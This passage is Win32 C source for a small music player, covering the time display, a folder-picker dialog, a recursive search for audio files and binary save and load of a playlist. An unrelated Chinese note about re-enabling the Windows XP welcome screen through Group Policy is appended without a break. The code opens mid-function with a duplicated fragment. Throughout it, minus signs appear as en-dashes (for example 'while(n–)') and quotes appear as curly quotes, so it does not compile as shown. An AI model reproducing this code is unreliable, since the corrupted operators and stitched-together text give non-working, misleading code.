iPositionSecond = iPosition – iPositionMinute*60;//当前时长秒钟
//显示
wsprintf(szBuffer, “%02d:%02d / %02d:%02d”, iPositionMinute, iPositionSecond, iLengthMinute, iLengthSecond);
}
void ShowTime(HWND hwnd, int iPosition)
{
TCHAR szBuffer[20];
int iLengthMinute, iLengthSecond, iPositionMinute, iPositionSecond;
iLengthMinute = iLength/60;//总时长分钟
iLengthSecond = iLength-iLengthMinute*60;//总时长秒钟
iPositionMinute = iPosition/60;//当前时长分钟
iPositionSecond = iPosition – iPositionMinute*60;//当前时长秒钟
//显示
wsprintf(szBuffer, “%02d:%02d / %02d:%02d”, iPositionMinute, iPositionSecond, iLengthMinute, iLengthSecond);
SetWindowText(GetDlgItem(hwnd, IDC_STCTIME), szBuffer);
}
//文件夹选择对话框
//参考:http://blog.csdn.net/ShardowM/archive/2008/06/06/2516213.aspx
//http://topic.csdn.net/t/20021103/14/1143060.html
//http://www.programfan.com/blog/article.asp?id=19614
void SelectFolder(HWND hwnd)
{
if(iPlay)
KillTimer(hwnd, 1);//定时器影响文件夹选择对话框,故取消。
LPMALLOC lpMalloc = NULL;
if(SUCCEEDED(SHGetMalloc(&lpMalloc)))
{
TCHAR szPath[MAX_PATH];
BROWSEINFO bi;
LPITEMIDLIST pidl = NULL;
ZeroMemory(szPath, sizeof(szPath));//注意结构体的置零
ZeroMemory(&bi, sizeof(bi));
bi.hwndOwner = hwnd;
bi.pidlRoot = NULL;
bi.pszDisplayName = szPath;
bi.lpszTitle = TEXT(“选择目录:”);
bi.ulFlags = BIF_RETURNONLYFSDIRS | BIF_BROWSEFORCOMPUTER;
bi.lpfn = NULL;
bi.lParam = 0;
bi.iImage = 0;
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);//初始化COM库
if((pidl = SHBrowseForFolder(&bi)) != NULL)//显示文件夹选择对话框并操作
{
SHGetPathFromIDList(pidl, szPath);//转换文件夹路径
FindAllFile(hwnd, szPath, “*.mp3”);//查找文件夹下mp3文件
FindAllFile(hwnd, szPath, “*.wma”);//wma
FindAllFile(hwnd, szPath, “*.wav”);//wav
//MessageBox(NULL, szPath, “”, MB_OK);
CoTaskMemFree(pidl);
}
else
{
if(iPlay)
SetTimer(hwnd, 1, 1000, PlayProcess);//按取消,恢复定时器。
}
//lpMalloc->Free(pidl);
lpMalloc->Release();
CoUninitialize();//关闭COM库
}
}
//是否是根目录
//根目录路径如:F:\
//非根目录路径如:F:\Music
BOOL IsRoot(LPCTSTR lpszPath)
{
return 3 == lstrlen(lpszPath);
}
//遍历文件夹,找出指定后缀文件。
//参考:http://www.programfan.com/club/showpost.asp?id=18098
//http://hi.baidu.com/csuhkx/blog/item/cb66ff00d82bc610738b6521.html
void FindAllFile(HWND hwnd, LPCTSTR lpszPath, LPCTSTR lpszSuffix)
{
WIN32_FIND_DATA wfd;
TCHAR szPath[MAX_PATH];
lstrcpy(szPath, lpszPath);
if(!IsRoot(szPath))//非根目录加上”\\”
lstrcat(szPath, “\\”);
lstrcat(szPath, lpszSuffix);//加上后缀
HANDLE hFind = FindFirstFile(szPath, &wfd);
if(INVALID_HANDLE_VALUE == hFind)//未找到文件,返回。
return;
do
{
if(‘.’ == wfd.cFileName[0])
continue;
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)//如果是目录,递归进入目录遍历。
{
if(IsRoot(lpszPath))//根目录
wsprintf(szPath, “%s%s”, lpszPath, wfd.cFileName);
else//非根目录
wsprintf(szPath, “%s\\%s”, lpszPath, wfd.cFileName);
FindAllFile(hwnd, szPath, lpszSuffix);
}
else
{
if(IsRoot(lpszPath))//根目录
wsprintf(szPath, “%s%s”, lpszPath, wfd.cFileName);
else//非根目录
wsprintf(szPath, “%s\\%s”, lpszPath, wfd.cFileName);
if(iNum >= 100)
{
MessageBox(hwnd, TEXT(“MusicPlayer已达到最大音乐数100”), TEXT(“MusicPlayer Error”), MB_OK | MB_ICONERROR);
return;
}
lstrcpy(szFileName[iNum++], szPath);
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_ADDSTRING, 0, (LPARAM)wfd.cFileName);
//MessageBox(NULL, szPath, “”, MB_OK);
}
}while(FindNextFile(hFind, &wfd));
FindClose(hFind);
iPlayListIndex = iNum-1;//加入的最后一个文件
//设置选中项
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_SETCURSEL, (WPARAM)iPlayListIndex, 0);
//播放选中项
Play(hwnd, iPlayListIndex);
}
BOOL Save()
{
/*头文件#include <dir.h>
TCHAR szBuffer[MAX_PATH];
TCHAR szPath[MAX_PATH];
TCHAR szListPath[MAX_PATH];
getcwd(szBuffer, MAX_PATH);//取得当前工作目录
GetShortPathName(szBuffer, szPath, MAX_PATH);
wsprintf(szListPath, “%s\\%s”, szPath, “MusicPlayer.list”);
*/
//以二进制形式、分块存储播放列表
FILE* fp;
if((fp=fopen(“C:\\MusicPlayer.list”, “wb”)) == NULL)
return false;
for(int i = 0; i < iNum; i++)
{
fwrite(&szFileName[i], sizeof(TCHAR)*MAX_PATH, 1, fp);//分块存储
}
fclose(fp);
return true;
}
BOOL Load(HWND hwnd)
{
//以二进制形式读取播放列表
FILE* fp;
if((fp=fopen(“C:\\MusicPlayer.list”, “rb”)) == NULL)
return false;
fseek(fp, 0, 2);//移动指针到文件尾
int n = ftell(fp);//检测当前指针位置,得到文件长度。
rewind(fp);//将指针复位到文件头
if(0 == n)
return true;
n = n/(sizeof(TCHAR)*MAX_PATH);
while(n–)
{
PSTR pszFileName = NULL;//文件名起始地址
fread(szFileName[iNum], sizeof(TCHAR)*MAX_PATH, 1, fp);//分块读取
pszFileName = strrchr(szFileName[iNum++], ‘\\’);//返回szFileName[iNum++]里’\\’最后出现的位置
if(pszFileName++)//如果有’\\’则pszFileName++为文件名起始地址
{
SendMessage(GetDlgItem(hwnd, IDC_LST1), LB_ADDSTRING, 0, (LPARAM)pszFileName);//添加到ListBox里
}
}
fclose(fp);
if(iNum)//如果有音乐则播放第一首。
SendMessage(hwnd, WM_COMMAND, IDC_BTNNEXT, 0);
return true;
}
昨晚关机时突然发现关机界面变了,今早开机发现开机界面也变了,没了欢迎界面,成了经典登录界面。
在控制面板用户帐户里更改,点击更改用户登录或注销方式,发现使用欢迎屏幕的选项果然没选中了。选中,应用选项。咦~开关机界面没任何改变,并且该选项仍然没选中。
运行gpedit.msc组策略,在计算机配置、管理模板、登录里,发现总是用经典登陆选项是未配置,双击更改为已禁用。OK,问题解决,使用欢迎屏幕的选项已经被选中了。